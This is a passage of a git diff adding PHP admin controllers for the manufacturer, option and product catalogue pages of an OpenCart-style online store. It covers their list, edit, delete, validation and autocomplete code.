+ } elseif (!empty($manufacturer_info)) {
+ $data['noindex'] = $manufacturer_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['manufacturer_layout'])) {
+ $data['manufacturer_layout'] = $this->request->post['manufacturer_layout'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_layout'] = $this->model_catalog_manufacturer->getManufacturerLayouts($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_layout'] = array();
+ }
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['sort_order'] = $manufacturer_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($manufacturer_info)) {
+ $products = $this->model_catalog_manufacturer->getProductRelated($this->request->get['manufacturer_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_related'] = array();
+
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $related_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($related_info) {
+ $data['product_related'][] = array(
+ 'product_id' => $related_info['product_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_related'])) {
+ $articles = $this->request->post['article_related'];
+ } elseif (isset($manufacturer_info)) {
+ $articles = $this->model_catalog_manufacturer->getArticleRelated($this->request->get['manufacturer_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['article_related'] = array();
+
+ $this->load->model('blog/article');
+
+ foreach ($articles as $article_id) {
+ $related_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($related_info) {
+ $data['article_related'][] = array(
+ 'article_id' => $related_info['article_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['manufacturer_seo_url'])) {
+ $data['manufacturer_seo_url'] = $this->request->post['manufacturer_seo_url'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_seo_url'] = $this->model_catalog_manufacturer->getManufacturerSeoUrls($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_seo_url'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/manufacturer_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/manufacturer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ foreach ($this->request->post['manufacturer_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if ($this->request->post['manufacturer_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['manufacturer_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['manufacturer_id']) || (($seo_url['query'] != 'manufacturer_id=' . $this->request->get['manufacturer_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/manufacturer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $manufacturer_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByManufacturerId($manufacturer_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/manufacturer');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_manufacturer->getManufacturers($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'manufacturer_id' => $result['manufacturer_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/catalog/option.php b/public/admin/controller/catalog/option.php
new file mode 100644
index 0000000..bcfc6ec
--- /dev/null
+++ b/public/admin/controller/catalog/option.php
@@ -0,0 +1,508 @@
+load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_option->addOption($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_option->editOption($this->request->get['option_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $option_id) {
+ $this->model_catalog_option->deleteOption($option_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'od.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/option/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/option/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['options'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $option_total = $this->model_catalog_option->getTotalOptions();
+
+ $results = $this->model_catalog_option->getOptions($filter_data);
+
+ foreach ($results as $result) {
+ $data['options'][] = array(
+ 'option_id' => $result['option_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/option/edit', 'user_token=' . $this->session->data['user_token'] . '&option_id=' . $result['option_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . '&sort=od.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . '&sort=o.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $option_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($option_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($option_total - $this->config->get('config_limit_admin'))) ? $option_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $option_total, ceil($option_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/option_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['option_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['option_value'])) {
+ $data['error_option_value'] = $this->error['option_value'];
+ } else {
+ $data['error_option_value'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['option_id'])) {
+ $data['action'] = $this->url->link('catalog/option/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/option/edit', 'user_token=' . $this->session->data['user_token'] . '&option_id=' . $this->request->get['option_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['option_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $option_info = $this->model_catalog_option->getOption($this->request->get['option_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['option_description'])) {
+ $data['option_description'] = $this->request->post['option_description'];
+ } elseif (isset($this->request->get['option_id'])) {
+ $data['option_description'] = $this->model_catalog_option->getOptionDescriptions($this->request->get['option_id']);
+ } else {
+ $data['option_description'] = array();
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($option_info)) {
+ $data['type'] = $option_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($option_info)) {
+ $data['sort_order'] = $option_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['option_value'])) {
+ $option_values = $this->request->post['option_value'];
+ } elseif (isset($this->request->get['option_id'])) {
+ $option_values = $this->model_catalog_option->getOptionValueDescriptions($this->request->get['option_id']);
+ } else {
+ $option_values = array();
+ }
+
+ $this->load->model('tool/image');
+
+ $data['option_values'] = array();
+
+ foreach ($option_values as $option_value) {
+ if (is_file(DIR_IMAGE . $option_value['image'])) {
+ $image = $option_value['image'];
+ $thumb = $option_value['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['option_values'][] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'option_value_description' => $option_value['option_value_description'],
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $option_value['sort_order']
+ );
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/option_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/option')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['option_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 128)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if (($this->request->post['type'] == 'select' || $this->request->post['type'] == 'radio' || $this->request->post['type'] == 'checkbox') && !isset($this->request->post['option_value'])) {
+ $this->error['warning'] = $this->language->get('error_type');
+ }
+
+ if (isset($this->request->post['option_value'])) {
+ foreach ($this->request->post['option_value'] as $option_value_id => $option_value) {
+ foreach ($option_value['option_value_description'] as $language_id => $option_value_description) {
+ if ((utf8_strlen($option_value_description['name']) < 1) || (utf8_strlen($option_value_description['name']) > 128)) {
+ $this->error['option_value'][$option_value_id][$language_id] = $this->language->get('error_option_value');
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/option')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $option_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByOptionId($option_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->language('catalog/option');
+
+ $this->load->model('catalog/option');
+
+ $this->load->model('tool/image');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $options = $this->model_catalog_option->getOptions($filter_data);
+
+ foreach ($options as $option) {
+ $option_value_data = array();
+
+ if ($option['type'] == 'select' || $option['type'] == 'radio' || $option['type'] == 'checkbox' || $option['type'] == 'image') {
+ $option_values = $this->model_catalog_option->getOptionValues($option['option_id']);
+
+ foreach ($option_values as $option_value) {
+ if (is_file(DIR_IMAGE . $option_value['image'])) {
+ $image = $this->model_tool_image->resize($option_value['image'], 50, 50);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 50, 50);
+ }
+
+ $option_value_data[] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'name' => strip_tags(html_entity_decode($option_value['name'], ENT_QUOTES, 'UTF-8')),
+ 'image' => $image
+ );
+ }
+
+ $sort_order = array();
+
+ foreach ($option_value_data as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $option_value_data);
+ }
+
+ $type = '';
+
+ if ($option['type'] == 'select' || $option['type'] == 'radio' || $option['type'] == 'checkbox') {
+ $type = $this->language->get('text_choose');
+ }
+
+ if ($option['type'] == 'text' || $option['type'] == 'textarea') {
+ $type = $this->language->get('text_input');
+ }
+
+ if ($option['type'] == 'file') {
+ $type = $this->language->get('text_file');
+ }
+
+ if ($option['type'] == 'date' || $option['type'] == 'datetime' || $option['type'] == 'time') {
+ $type = $this->language->get('text_date');
+ }
+
+ $json[] = array(
+ 'option_id' => $option['option_id'],
+ 'name' => strip_tags(html_entity_decode($option['name'], ENT_QUOTES, 'UTF-8')),
+ 'category' => $type,
+ 'type' => $option['type'],
+ 'option_value' => $option_value_data
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/product.php b/public/admin/controller/catalog/product.php
new file mode 100644
index 0000000..449f135
--- /dev/null
+++ b/public/admin/controller/catalog/product.php
@@ -0,0 +1,1880 @@
+load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+$this->request->post['product_description'] = array_map(function($description){
+
+ $description['description'] = implode("__NEWLINE__", $description['description']);
+ return $description;
+}, $this->request->post['product_description']);
+ $this->model_catalog_product->addProduct($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+$this->request->post['product_description'] = array_map(function($description){
+
+ $description['description'] = implode("__NEWLINE__", $description['description']);
+ return $description;
+}, $this->request->post['product_description']);
+ $this->model_catalog_product->editProduct($this->request->get['product_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->deleteProduct($product_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function copy() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (isset($this->request->post['selected']) && $this->validateCopy()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->copyProduct($product_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
